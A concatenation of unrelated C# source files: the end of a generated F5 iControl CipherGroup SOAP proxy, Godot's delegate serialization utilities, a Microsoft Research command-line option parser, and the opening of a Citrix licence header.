object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// set_description
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void set_description(
string [] groups,
string [] descriptions
) {
this.Invoke("set_description", new object [] {
groups,
descriptions});
}
public System.IAsyncResult Beginset_description(string [] groups,string [] descriptions, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("set_description", new object[] {
groups,
descriptions}, callback, asyncState);
}
public void Endset_description(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// set_order
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void set_order(
string [] groups,
LocalLBCipherGroupCipherGroupOrder [] orders
) {
this.Invoke("set_order", new object [] {
groups,
orders});
}
public System.IAsyncResult Beginset_order(string [] groups,LocalLBCipherGroupCipherGroupOrder [] orders, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("set_order", new object[] {
groups,
orders}, callback, asyncState);
}
public void Endset_order(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
}
//=======================================================================
// Enums
//=======================================================================
/// <remarks/>
[System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")]
[System.SerializableAttribute()]
[System.Xml.Serialization.SoapTypeAttribute(TypeName = "LocalLB.CipherGroup.CipherGroupOrder", Namespace = "urn:iControl")]
public enum LocalLBCipherGroupCipherGroupOrder
{
CIPHER_GROUP_ORDER_UNKNOWN,
CIPHER_GROUP_ORDER_DEFAULT,
CIPHER_GROUP_ORDER_SPEED,
CIPHER_GROUP_ORDER_STRENGTH,
CIPHER_GROUP_ORDER_FIPS,
CIPHER_GROUP_ORDER_HARDWARE,
}
//=======================================================================
// Structs
//=======================================================================
}
| |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace Godot
{
internal static class DelegateUtils
{
private enum TargetKind : uint
{
Static,
GodotObject,
CompilerGenerated
}
internal static bool TrySerializeDelegate(Delegate @delegate, Collections.Array serializedData)
{
if (@delegate is MulticastDelegate multicastDelegate)
{
bool someDelegatesSerialized = false;
Delegate[] invocationList = multicastDelegate.GetInvocationList();
if (invocationList.Length > 1)
{
var multiCastData = new Collections.Array();
foreach (Delegate oneDelegate in invocationList)
someDelegatesSerialized |= TrySerializeDelegate(oneDelegate, multiCastData);
if (!someDelegatesSerialized)
return false;
serializedData.Add(multiCastData);
return true;
}
}
if (TrySerializeSingleDelegate(@delegate, out byte[] buffer))
{
serializedData.Add(buffer);
return true;
}
return false;
}
private static bool TrySerializeSingleDelegate(Delegate @delegate, out byte[] buffer)
{
buffer = null;
object target = @delegate.Target;
switch (target)
{
case null:
{
using (var stream = new MemoryStream())
using (var writer = new BinaryWriter(stream))
{
writer.Write((ulong)TargetKind.Static);
SerializeType(writer, @delegate.GetType());
if (!TrySerializeMethodInfo(writer, @delegate.Method))
return false;
buffer = stream.ToArray();
return true;
}
}
case Godot.Object godotObject:
{
using (var stream = new MemoryStream())
using (var writer = new BinaryWriter(stream))
{
writer.Write((ulong)TargetKind.GodotObject);
writer.Write((ulong)godotObject.GetInstanceId());
SerializeType(writer, @delegate.GetType());
if (!TrySerializeMethodInfo(writer, @delegate.Method))
return false;
buffer = stream.ToArray();
return true;
}
}
default:
{
Type targetType = target.GetType();
if (targetType.GetCustomAttribute(typeof(CompilerGeneratedAttribute), true) != null)
{
// Compiler generated. Probably a closure. Try to serialize it.
using (var stream = new MemoryStream())
using (var writer = new BinaryWriter(stream))
{
writer.Write((ulong)TargetKind.CompilerGenerated);
SerializeType(writer, targetType);
SerializeType(writer, @delegate.GetType());
if (!TrySerializeMethodInfo(writer, @delegate.Method))
return false;
FieldInfo[] fields = targetType.GetFields(BindingFlags.Instance | BindingFlags.Public);
writer.Write(fields.Length);
foreach (FieldInfo field in fields)
{
Type fieldType = field.GetType();
Variant.Type variantType = GD.TypeToVariantType(fieldType);
if (variantType == Variant.Type.Nil)
return false;
writer.Write(field.Name);
byte[] valueBuffer = GD.Var2Bytes(field.GetValue(target));
writer.Write(valueBuffer.Length);
writer.Write(valueBuffer);
}
buffer = stream.ToArray();
return true;
}
}
return false;
}
}
}
private static bool TrySerializeMethodInfo(BinaryWriter writer, MethodInfo methodInfo)
{
if (methodInfo == null)
return false;
SerializeType(writer, methodInfo.DeclaringType);
writer.Write(methodInfo.Name);
int flags = 0;
if (methodInfo.IsPublic)
flags |= (int)BindingFlags.Public;
else
flags |= (int)BindingFlags.NonPublic;
if (methodInfo.IsStatic)
flags |= (int)BindingFlags.Static;
else
flags |= (int)BindingFlags.Instance;
writer.Write(flags);
Type returnType = methodInfo.ReturnType;
bool hasReturn = methodInfo.ReturnType != typeof(void);
writer.Write(hasReturn);
if (hasReturn)
SerializeType(writer, returnType);
ParameterInfo[] parameters = methodInfo.GetParameters();
writer.Write(parameters.Length);
if (parameters.Length > 0)
{
for (int i = 0; i < parameters.Length; i++)
SerializeType(writer, parameters[i].ParameterType);
}
return true;
}
private static void SerializeType(BinaryWriter writer, Type type)
{
if (type == null)
{
int genericArgumentsCount = -1;
writer.Write(genericArgumentsCount);
}
else if (type.IsGenericType)
{
Type genericTypeDef = type.GetGenericTypeDefinition();
Type[] genericArgs = type.GetGenericArguments();
int genericArgumentsCount = genericArgs.Length;
writer.Write(genericArgumentsCount);
string assemblyQualifiedName = genericTypeDef.AssemblyQualifiedName;
Debug.Assert(assemblyQualifiedName != null);
writer.Write(assemblyQualifiedName);
for (int i = 0; i < genericArgs.Length; i++)
SerializeType(writer, genericArgs[i]);
}
else
{
int genericArgumentsCount = 0;
writer.Write(genericArgumentsCount);
string assemblyQualifiedName = type.AssemblyQualifiedName;
Debug.Assert(assemblyQualifiedName != null);
writer.Write(assemblyQualifiedName);
}
}
private static bool TryDeserializeDelegate(Collections.Array serializedData, out Delegate @delegate)
{
if (serializedData.Count == 1)
{
object elem = serializedData[0];
if (elem is Collections.Array multiCastData)
return TryDeserializeDelegate(multiCastData, out @delegate);
return TryDeserializeSingleDelegate((byte[])elem, out @delegate);
}
@delegate = null;
var delegates = new List<Delegate>(serializedData.Count);
foreach (object elem in serializedData)
{
if (elem is Collections.Array multiCastData)
{
if (TryDeserializeDelegate(multiCastData, out Delegate oneDelegate))
delegates.Add(oneDelegate);
}
else
{
if (TryDeserializeSingleDelegate((byte[])elem, out Delegate oneDelegate))
delegates.Add(oneDelegate);
}
}
if (delegates.Count <= 0)
return false;
@delegate = delegates.Count == 1 ? delegates[0] : Delegate.Combine(delegates.ToArray());
return true;
}
private static bool TryDeserializeSingleDelegate(byte[] buffer, out Delegate @delegate)
{
@delegate = null;
using (var stream = new MemoryStream(buffer, writable: false))
using (var reader = new BinaryReader(stream))
{
var targetKind = (TargetKind)reader.ReadUInt64();
switch (targetKind)
{
case TargetKind.Static:
{
Type delegateType = DeserializeType(reader);
if (delegateType == null)
return false;
if (!TryDeserializeMethodInfo(reader, out MethodInfo methodInfo))
return false;
@delegate = Delegate.CreateDelegate(delegateType, null, methodInfo);
return true;
}
case TargetKind.GodotObject:
{
ulong objectId = reader.ReadUInt64();
Godot.Object godotObject = GD.InstanceFromId(objectId);
if (godotObject == null)
return false;
Type delegateType = DeserializeType(reader);
if (delegateType == null)
return false;
if (!TryDeserializeMethodInfo(reader, out MethodInfo methodInfo))
return false;
@delegate = Delegate.CreateDelegate(delegateType, godotObject, methodInfo);
return true;
}
case TargetKind.CompilerGenerated:
{
Type targetType = DeserializeType(reader);
if (targetType == null)
return false;
Type delegateType = DeserializeType(reader);
if (delegateType == null)
return false;
if (!TryDeserializeMethodInfo(reader, out MethodInfo methodInfo))
return false;
int fieldCount = reader.ReadInt32();
object recreatedTarget = Activator.CreateInstance(targetType);
for (int i = 0; i < fieldCount; i++)
{
string name = reader.ReadString();
int valueBufferLength = reader.ReadInt32();
byte[] valueBuffer = reader.ReadBytes(valueBufferLength);
FieldInfo fieldInfo = targetType.GetField(name, BindingFlags.Instance | BindingFlags.Public);
fieldInfo?.SetValue(recreatedTarget, GD.Bytes2Var(valueBuffer));
}
@delegate = Delegate.CreateDelegate(delegateType, recreatedTarget, methodInfo);
return true;
}
default:
return false;
}
}
}
private static bool TryDeserializeMethodInfo(BinaryReader reader, out MethodInfo methodInfo)
{
methodInfo = null;
Type declaringType = DeserializeType(reader);
string methodName = reader.ReadString();
int flags = reader.ReadInt32();
bool hasReturn = reader.ReadBoolean();
Type returnType = hasReturn ? DeserializeType(reader) : typeof(void);
int parametersCount = reader.ReadInt32();
if (parametersCount > 0)
{
var parameterTypes = new Type[parametersCount];
for (int i = 0; i < parametersCount; i++)
{
Type parameterType = DeserializeType(reader);
if (parameterType == null)
return false;
parameterTypes[i] = parameterType;
}
methodInfo = declaringType.GetMethod(methodName, (BindingFlags)flags, null, parameterTypes, null);
return methodInfo != null && methodInfo.ReturnType == returnType;
}
methodInfo = declaringType.GetMethod(methodName, (BindingFlags)flags);
return methodInfo != null && methodInfo.ReturnType == returnType;
}
private static Type DeserializeType(BinaryReader reader)
{
int genericArgumentsCount = reader.ReadInt32();
if (genericArgumentsCount == -1)
return null;
string assemblyQualifiedName = reader.ReadString();
var type = Type.GetType(assemblyQualifiedName);
if (type == null)
return null; // Type not found
if (genericArgumentsCount != 0)
{
var genericArgumentTypes = new Type[genericArgumentsCount];
for (int i = 0; i < genericArgumentsCount; i++)
{
Type genericArgumentType = DeserializeType(reader);
if (genericArgumentType == null)
return null;
genericArgumentTypes[i] = genericArgumentType;
}
type = type.MakeGenericType(genericArgumentTypes);
}
return type;
}
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.Collections.Generic;
using System.Diagnostics.Contracts;
using System.IO;
using System.Linq;
using System.Text;
namespace Microsoft.Research.DataStructures
{
/// <summary>
/// Subclass this class and define public fields for options
/// </summary>
public abstract class OptionParsing
{
public OptionParsing()
{
requiredOptions = GatherRequiredOptions();
}
/// <summary>
/// The number of errors discovered during command-line option parsing.
/// </summary>
protected int errors = 0;
private bool helpRequested;
/// <summary>
/// True if and only if a question mark was given as a command-line option.
/// </summary>
public bool HelpRequested { get { return helpRequested; } }
/// <summary>
/// True if and only if some command-line option caused a parsing error, or specifies an option
/// that does not exist.
/// </summary>
public bool HasErrors { get { return errors > 0; } }
private List<string> errorMessages = new List<string>();
/// <summary>
/// Allows a client to signal that there is an error in the command-line options.
/// </summary>
public void AddError() { this.errors++; }
/// <summary>
/// Allows a client to signal that there is an error in the command-line options.
/// </summary>
public void AddError(string format, params object[] args)
{
this.AddMessage(format, args);
this.errors++;
}
/// <summary>
/// Allows a client add a message to the output.
/// </summary>
public void AddMessage(string format, params object[] args)
{
errorMessages.Add(String.Format(format, args));
}
protected IEnumerable<string> Messages { get { return errorMessages; } }
/// <summary>
/// Put this on fields if you want a more verbose help description
/// </summary>
protected class OptionDescription : Attribute
{
/// <summary>
/// The text that is shown when the usage is displayed.
/// </summary>
readonly public string Description;
/// <summary>
/// Constructor for creating the information about an option.
/// </summary>
public OptionDescription(string s) { this.Description = s; }
/// <summary>
/// Indicates whether the associated option is required or not.
/// </summary>
public bool Required { get; set; }
/// <summary>
/// Indicates a short form for the option. Very useful for options
/// whose names are reserved keywords.
/// </summary>
public string ShortForm { get; set; }
}
/// <summary>
/// Put this on fields if you want the field to be relevant when hashing an Option object
/// </summary>
protected class OptionWitness : Attribute { }
/// <summary>
/// If a field has this attribute, then its value is inherited by all the family of analyses
/// </summary>
public class OptionValueOverridesFamily : Attribute { }
/// <summary>
/// A way to have a single option be a macro for several options.
/// </summary>
protected class OptionFor : Attribute
{
/// <summary>
/// The field that this option is a macro for.
/// </summary>
readonly public string options;
/// <summary>
/// Constructor for specifying which field this is a macro option for.
/// </summary>
public OptionFor(string options)
{
this.options = options;
}
}
/// <summary>
/// Override and return false if options do not start with '-' or '/'
/// </summary>
protected virtual bool UseDashOptionPrefix { get { return true; } }
protected virtual bool TreatGeneralArgumentsAsUnknown { get { return false; } }
protected virtual bool TreatHelpArgumentAsUnknown { get { return false; } }
/// <summary>
/// This field will hold non-option arguments
/// </summary>
private readonly List<string> generalArguments = new List<string>();
/// <summary>
/// Initialized in constructor
/// </summary>
private IList<string> requiredOptions;
/// <summary>
/// The non-option arguments provided on the command line.
/// </summary>
public List<string> GeneralArguments { get { return generalArguments; } }
#region Parsing and Reflection
/// <summary>
/// Called when reflection based resolution does not find option
/// </summary>
/// <param name="option">option name (no - or /)</param>
/// <param name="args">all args being parsed</param>
/// <param name="index">current index of arg</param>
/// <param name="optionEqualsArgument">null, or the optionArgument when option was option=optionArgument</param>
/// <returns>true if option is recognized, false otherwise</returns>
protected virtual bool ParseUnknown(string option, string[] args, ref int index, string optionEqualsArgument)
{
return false;
}
protected virtual bool ParseGeneralArgument(string arg, string[] args, ref int index)
{
generalArguments.Add(arg);
return true;
}
// Also add '!' as synonym for '=', as cmd.exe performs fuzzy things with '='
private static readonly char[] equalChars = new char[] { ':', '=', '!' };
private static readonly char[] quoteChars = new char[] { '\'', '"' };
/// <summary>
/// Main method called by a client to process the command-line options.
/// </summary>
public void Parse(string[] args, bool parseResponseFile = true)
{
int index = 0;
while (index < args.Length)
{
string arg = args[index];
if (arg == "") { index++; continue; }
if (parseResponseFile && arg[0] == '@')
{
var responseFile = arg.Substring(1);
while (!ParseResponseFile(responseFile))
{
index++;
if (index < args.Length)
{
responseFile = string.Format("{0} {1}", responseFile, args[index]);
}
else
{
AddError("Response file '{0}' does not exist.", responseFile);
break;
}
}
}
else if (!this.UseDashOptionPrefix || arg[0] == '/' || arg[0] == '-')
{
if (this.UseDashOptionPrefix)
{
arg = arg.Remove(0, 1);
}
if (arg == "?" && !this.TreatHelpArgumentAsUnknown)
{
helpRequested = true;
index++;
continue;
}
string equalArgument = null;
int equalIndex = arg.IndexOfAny(equalChars); // use IndexOfAny instead of sequential IndexOf to parse correctly -arg=abc://def
if (equalIndex >= 0)
{
equalArgument = arg.Substring(equalIndex + 1);
arg = arg.Substring(0, equalIndex);
// remove quotes if any
if (equalArgument.Length >= 2 && equalArgument[0] == equalArgument[equalArgument.Length - 1] && quoteChars.Contains(equalArgument[0]))
equalArgument = equalArgument.Substring(1, equalArgument.Length - 2);
}
bool optionOK = this.FindOptionByReflection(arg, args, ref index, equalArgument);
if (!optionOK)
{
optionOK = this.ParseUnknown(arg, args, ref index, equalArgument);
if (!optionOK)
{
AddError("Unknown option '{0}'", arg);
}
}
}
else if (this.TreatGeneralArgumentsAsUnknown)
{
bool optionOK = this.ParseUnknown(arg, args, ref index, null);
if (!optionOK)
{
AddError("Unknown option '{0}'", arg);
}
}
else
{
bool optionOK = this.ParseGeneralArgument(arg, args, ref index);
if (!optionOK)
{
AddError("Unknown option '{0}'", arg);
}
}
index++;
}
if (!helpRequested) CheckRequiredOptions();
}
/// <returns>True, if file exists</returns>
private bool ParseResponseFile(string responseFile)
{
if (!File.Exists(responseFile))
{
return false;
}
try
{
var lines = File.ReadAllLines(responseFile);
for (int i = 0; i < lines.Length; i++)
{
var line = lines[i];
if (line.Length == 0) continue;
if (line[0] == '#')
{
// comment skip
continue;
}
if (ContainsQuote(line))
{
Parse(SplitLineWithQuotes(responseFile, i, line));
}
else
{
// simple splitting
Parse(line.Split(' '));
}
}
}
catch
{
AddError("Failure reading from response file '{0}'.", responseFile);
}
return true;
}
[Pure]
private string[] SplitLineWithQuotes(string responseFileName, int lineNo, string line)
{
var start = 0;
var args = new List<string>();
bool inDoubleQuotes = false;
int escaping = 0; // number of escape characters in sequence
var currentArg = new StringBuilder();
for (var index = 0; index < line.Length; index++)
{
var current = line[index];
if (current == '\\')
{
// escape character
escaping++;
// swallow the escape character for now
// grab everything prior to prior escape character
if (index > start)
{
currentArg.Append(line.Substring(start, index - start));
}
start = index + 1;
continue;
}
if (escaping > 0)
{
if (current == '"')
{
var backslashes = escaping / 2;
for (int i = 0; i < backslashes; i++) { currentArg.Append('\\'); }
if (escaping % 2 == 1)
{
// escapes the "
currentArg.Append('"');
escaping = 0;
start = index + 1;
continue;
}
}
else
{
var backslashes = escaping;
for (int i = 0; i < backslashes; i++) { currentArg.Append('\\'); }
}
escaping = 0;
}
if (inDoubleQuotes)
{
if (current == '"')
{
// ending argument
FinishArgument(line, start, args, currentArg, index, true);
start = index + 1;
inDoubleQuotes = false;
continue;
}
}
else // not in quotes
{
if (Char.IsWhiteSpace(current))
{
// end previous, start new
FinishArgument(line, start, args, currentArg, index, false);
start = index + 1;
continue;
}
if (current == '"')
{
// starting double quote
if (index != start)
{
AddError("Response file '{0}' line {1}, char {2} contains '\"' not starting or ending an argument", responseFileName, lineNo, index);
}
start = index + 1;
inDoubleQuotes = true;
continue;
}
}
}
// add outstanding escape characters
while (escaping > 0) { currentArg.Append('\\'); escaping--; }
FinishArgument(line, start, args, currentArg, line.Length, inDoubleQuotes);
return args.ToArray();
}
[Pure]
static private void FinishArgument(string line, int start, List<string> args, StringBuilder currentArg, int index, bool includeEmpty)
{
currentArg.Append(line.Substring(start, index - start));
if (includeEmpty || currentArg.Length > 0)
{
args.Add(currentArg.ToString());
currentArg.Length = 0;
}
}
[Pure]
static private bool ContainsQuote(string line)
{
var index = line.IndexOf('"');
if (index >= 0) return true;
index = line.IndexOf('\'');
if (index >= 0) return true;
return false;
}
[Pure]
private void CheckRequiredOptions()
{
foreach (var missed in requiredOptions)
{
AddError("Required option '-{0}' was not given.", missed);
}
}
private IList<string> GatherRequiredOptions()
{
List<string> result = new List<string>();
foreach (var field in this.GetType().GetFields(System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public))
{
var options = field.GetCustomAttributes(typeof(OptionDescription), false);
foreach (OptionDescription attr in options)
{
if (attr.Required)
{
result.Add(field.Name.ToLowerInvariant());
}
}
}
return result;
}
private bool ParseValue<T>(Converter<string, T> parser, string equalArgument, string[] args, ref int index, ref object result)
{
if (equalArgument == null)
{
if (index + 1 < args.Length)
{
equalArgument = args[++index];
}
}
bool success = false;
if (equalArgument != null)
{
try
{
result = parser(equalArgument);
success = true;
}
catch
{
}
}
return success;
}
private bool ParseValue<T>(Converter<string, T> parser, string argument, ref object result)
{
bool success = false;
if (argument != null)
{
try
{
result = parser(argument);
success = true;
}
catch
{
}
}
return success;
}
private object ParseValue(Type type, string argument, string option)
{
object result = null;
if (type == typeof(bool))
{
if (argument != null)
{
// Allow "+/-" to turn on/off boolean options
if (argument.Equals("-"))
{
result = false;
}
else if (argument.Equals("+"))
{
result = true;
}
else if (!ParseValue<bool>(Boolean.Parse, argument, ref result))
{
AddError("option -{0} requires a bool argument", option);
}
}
else
{
result = true;
}
}
else if (type == typeof(string))
{
if (!ParseValue<string>(Identity, argument, ref result))
{
AddError("option -{0} requires a string argument", option);
}
}
else if (type == typeof(int))
{
if (!ParseValue<int>(Int32.Parse, argument, ref result))
{
AddError("option -{0} requires an int argument", option);
}
}
else if (type == typeof(uint))
{
if (!ParseValue<uint>(UInt32.Parse, argument, ref result))
{
AddError("option -{0} requires an unsigned int argument", option);
}
}
else if (type == typeof(long))
{
if (!ParseValue<long>(Int64.Parse, argument, ref result))
{
AddError("option -{0} requires a long argument", option);
}
}
else if (type.IsEnum)
{
if (!ParseValue<object>(ParseEnum(type), argument, ref result))
{
AddError("option -{0} expects one of", option);
foreach (System.Reflection.FieldInfo enumConstant in type.GetFields(System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public))
{
if (enumConstant.IsLiteral)
{
AddMessage(" {0}", enumConstant.Name);
}
}
}
}
return result;
}
[Pure]
private string AdvanceArgumentIfNoExplicitArg(Type type, string explicitArg, string[] args, ref int index)
{
if (explicitArg != null) return explicitArg;
if (type == typeof(bool))
{
// bool args don't grab the next arg
return null;
}
if (index + 1 < args.Length)
{
return args[++index];
}
return null;
}
private bool FindOptionByReflection(string arg, string[] args, ref int index, string explicitArgument)
{
System.Reflection.FieldInfo fi = this.GetType().GetField(arg, System.Reflection.BindingFlags.IgnoreCase | System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
if (fi != null)
{
requiredOptions.Remove(arg.ToLowerInvariant());
return ProcessOptionWithMatchingField(arg, args, ref index, explicitArgument, ref fi);
}
else
{
// derived options
fi = this.GetType().GetField(arg, System.Reflection.BindingFlags.IgnoreCase | System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.FlattenHierarchy);
if (fi != null)
{
object derived = fi.GetValue(this);
if (derived is string)
{
this.Parse(((string)derived).Split(' '));
requiredOptions.Remove(arg.ToLowerInvariant());
return true;
}
}
// Try to see if the arg matches any ShortForm of an option
var allFields = this.GetType().GetFields();
System.Reflection.FieldInfo matchingField = null;
foreach (var f in allFields)
{
matchingField = f;
var options = matchingField.GetCustomAttributes(typeof(OptionDescription), false);
foreach (OptionDescription attr in options)
{
if (attr.ShortForm != null)
{
var lower1 = attr.ShortForm.ToLowerInvariant();
var lower2 = arg.ToLowerInvariant();
if (lower1.Equals(lower2))
{
requiredOptions.Remove(matchingField.Name.ToLowerInvariant());
return ProcessOptionWithMatchingField(arg, args, ref index, explicitArgument, ref matchingField);
}
}
}
}
}
return false;
}
private bool ProcessOptionWithMatchingField(string arg, string[] args, ref int index, string explicitArgument, ref System.Reflection.FieldInfo fi)
{
Type type = fi.FieldType;
bool isList = false;
if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(List<>))
{
isList = true;
type = type.GetGenericArguments()[0];
}
if (isList && explicitArgument == "!!")
{
// way to set list to empty
System.Collections.IList listhandle = (System.Collections.IList)fi.GetValue(this);
listhandle.Clear();
return true;
}
string argument = AdvanceArgumentIfNoExplicitArg(type, explicitArgument, args, ref index);
if (isList)
{
if (argument == null)
{
AddError("option -{0} requires an argument", arg);
return true;
}
string[] listargs = argument.Split(';');
for (int i = 0; i < listargs.Length; i++)
{
if (listargs[i].Length == 0) continue; // skip empty values
bool remove = listargs[i][0] == '!';
string listarg = remove ? listargs[i].Substring(1) : listargs[i];
object value = ParseValue(type, listarg, arg);
if (value != null)
{
if (remove)
{
this.GetListField(fi).Remove(value);
}
else
{
this.GetListField(fi).Add(value);
}
}
}
}
else
{
object value = ParseValue(type, argument, arg);
if (value != null)
{
fi.SetValue(this, value);
string argname;
if (value is Int32 && HasOptionForAttribute(fi, out argname))
{
this.Parse(DerivedOptionFor(argname, (Int32)value).Split(' '));
}
}
}
return true;
}
[Pure]
private bool HasOptionForAttribute(System.Reflection.FieldInfo fi, out string argname)
{
var options = fi.GetCustomAttributes(typeof(OptionFor), true);
if (options != null && options.Length == 1)
{
argname = ((OptionFor)options[0]).options;
return true;
}
argname = null;
return false;
}
/// <summary>
/// For the given field, returns the derived option that is indexed by
/// option in the list of derived options.
/// </summary>
[Pure]
protected string DerivedOptionFor(string fieldWithOptions, int option)
{
string[] options;
if (TryGetOptions(fieldWithOptions, out options))
{
if (option < 0 || option >= options.Length)
{
return "";
}
return options[option];
}
return "";
}
/// <summary>
/// Returns the options associated with the field, specified as a string.
/// If there are none, options is set to null and false is returned.
/// </summary>
[Pure]
protected bool TryGetOptions(string fieldWithOptions, out string[] options)
{
var fi = this.GetType().GetField(fieldWithOptions,
System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.FlattenHierarchy | System.Reflection.BindingFlags.Public);
if (fi != null)
{
var obj = fi.GetValue(this);
if (obj is string[])
{
options = (string[])obj;
return true;
}
}
options = null;
return false;
}
/// <summary>
/// Use this
/// </summary>
[Pure]
public long GetCheckCode()
{
var res = 0L;
foreach (var f in this.GetType().GetFields())
{
foreach (var a in f.GetCustomAttributes(true))
{
if (a is OptionWitness)
{
res += (f.GetValue(this).GetHashCode()) * f.GetHashCode();
break;
}
}
}
return res;
}
[Pure]
private string Identity(string s) { return s; }
private Converter<string, object> ParseEnum(Type enumType)
{
return delegate (string s) { return Enum.Parse(enumType, s, true); };
}
private System.Collections.IList GetListField(System.Reflection.FieldInfo fi)
{
object obj = fi.GetValue(this);
if (obj != null) { return (System.Collections.IList)obj; }
System.Collections.IList result = (System.Collections.IList)fi.FieldType.GetConstructor(new Type[] { }).Invoke(new object[] { });
fi.SetValue(this, result);
return result;
}
/// <summary>
/// Writes all of the options out to the console.
/// </summary>
[Pure]
public void PrintOptions(string indent, TextWriter output)
{
foreach (System.Reflection.FieldInfo f in this.GetType().GetFields(System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Instance))
{
System.Type opttype = f.FieldType;
bool isList;
if (opttype.IsGenericType && opttype.GetGenericTypeDefinition() == typeof(List<>))
{
opttype = opttype.GetGenericArguments()[0];
isList = true;
}
else
{
isList = false;
}
string description = GetOptionAttribute(f);
string option = null;
if (opttype == typeof(bool))
{
if (!isList && f.GetValue(this).Equals(true))
{
option = String.Format("{0} (default=true)", f.Name);
}
else
{
option = f.Name;
}
}
else if (opttype == typeof(string))
{
if (!f.IsLiteral)
{
object defaultValue = f.GetValue(this);
if (!isList && defaultValue != null)
{
option = String.Format("{0} <string-arg> (default={1})", f.Name, defaultValue);
}
else
{
option = String.Format("{0} <string-arg>", f.Name);
}
}
}
else if (opttype == typeof(int))
{
if (!isList)
{
option = String.Format("{0} <int-arg> (default={1})", f.Name, f.GetValue(this));
}
else
{
option = String.Format("{0} <int-arg>", f.Name);
}
}
else if (opttype.IsEnum)
{
StringBuilder sb = new StringBuilder();
sb.Append(f.Name).Append(" (");
bool first = true;
foreach (System.Reflection.FieldInfo enumConstant in opttype.GetFields(System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static))
{
if (enumConstant.IsLiteral)
{
if (!first)
{
if (isList)
{
sb.Append(" + ");
}
else
{
sb.Append(" | ");
}
}
else
{
first = false;
}
sb.Append(enumConstant.Name);
}
}
sb.Append(") ");
if (!isList)
{
sb.AppendFormat("(default={0})", f.GetValue(this));
}
else
{
sb.Append("(default=");
bool first2 = true;
foreach (object eval in (System.Collections.IEnumerable)f.GetValue(this))
{
if (!first2)
{
sb.Append(',');
}
else
{
first2 = false;
}
sb.Append(eval.ToString());
}
sb.Append(')');
}
option = sb.ToString();
}
if (option != null)
{
output.Write("{1} -{0,-30}", option, indent);
if (description != null)
{
output.WriteLine(" : {0}", description);
}
else
{
output.WriteLine();
}
}
}
output.WriteLine(Environment.NewLine + "To clear a list, use -<option>=!!");
output.WriteLine(Environment.NewLine + "To remove an item from a list, use -<option> !<item>");
}
/// <summary>
/// Prints all of the derived options to the console.
/// </summary>
public void PrintDerivedOptions(string indent, TextWriter output)
{
foreach (System.Reflection.FieldInfo f in this.GetType().GetFields(System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public))
{
if (f.IsLiteral)
{
output.WriteLine("{2} -{0} is '{1}'", f.Name, f.GetValue(this), indent);
}
}
}
private string GetOptionAttribute(System.Reflection.FieldInfo f)
{
object[] attrs = f.GetCustomAttributes(typeof(OptionDescription), true);
if (attrs != null && attrs.Length == 1)
{
StringBuilder result = new StringBuilder();
OptionDescription descr = (OptionDescription)attrs[0];
if (descr.Required)
{
result.Append("(required) ");
}
result.Append(descr.Description);
if (descr.ShortForm != null)
{
result.Append("[short form: " + descr.ShortForm + "]");
}
object[] optionsFor = f.GetCustomAttributes(typeof(OptionFor), true);
string[] options;
if (optionsFor != null && optionsFor.Length == 1 && TryGetOptions(((OptionFor)optionsFor[0]).options, out options))
{
result.AppendLine(Environment.NewLine + "Detailed explanation:");
for (int i = 0; i < options.Length; i++)
{
result.Append(string.Format("{0} : {1}" + Environment.NewLine, i, options[i]));
}
}
return result.ToString();
}
return null;
}
#endregion
public void PrintErrors(TextWriter output)
{
foreach (string message in errorMessages)
{
output.WriteLine(message);
}
output.WriteLine();
output.WriteLine(" use /? to see a list of options");
}
public void PrintErrorsAndExit(TextWriter output)
{
this.PrintErrors(output);
Environment.Exit(-1);
}
}
}
| |
/* Copyright (c) Citrix Systems, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms,
* with or without modification, are permitted provided
* that the following conditions are met:
*
* * Redistributions of source code must retain the above
* copyright notice, this list of conditions and the
* following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the
* following disclaimer in the documentation and/or other
* materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
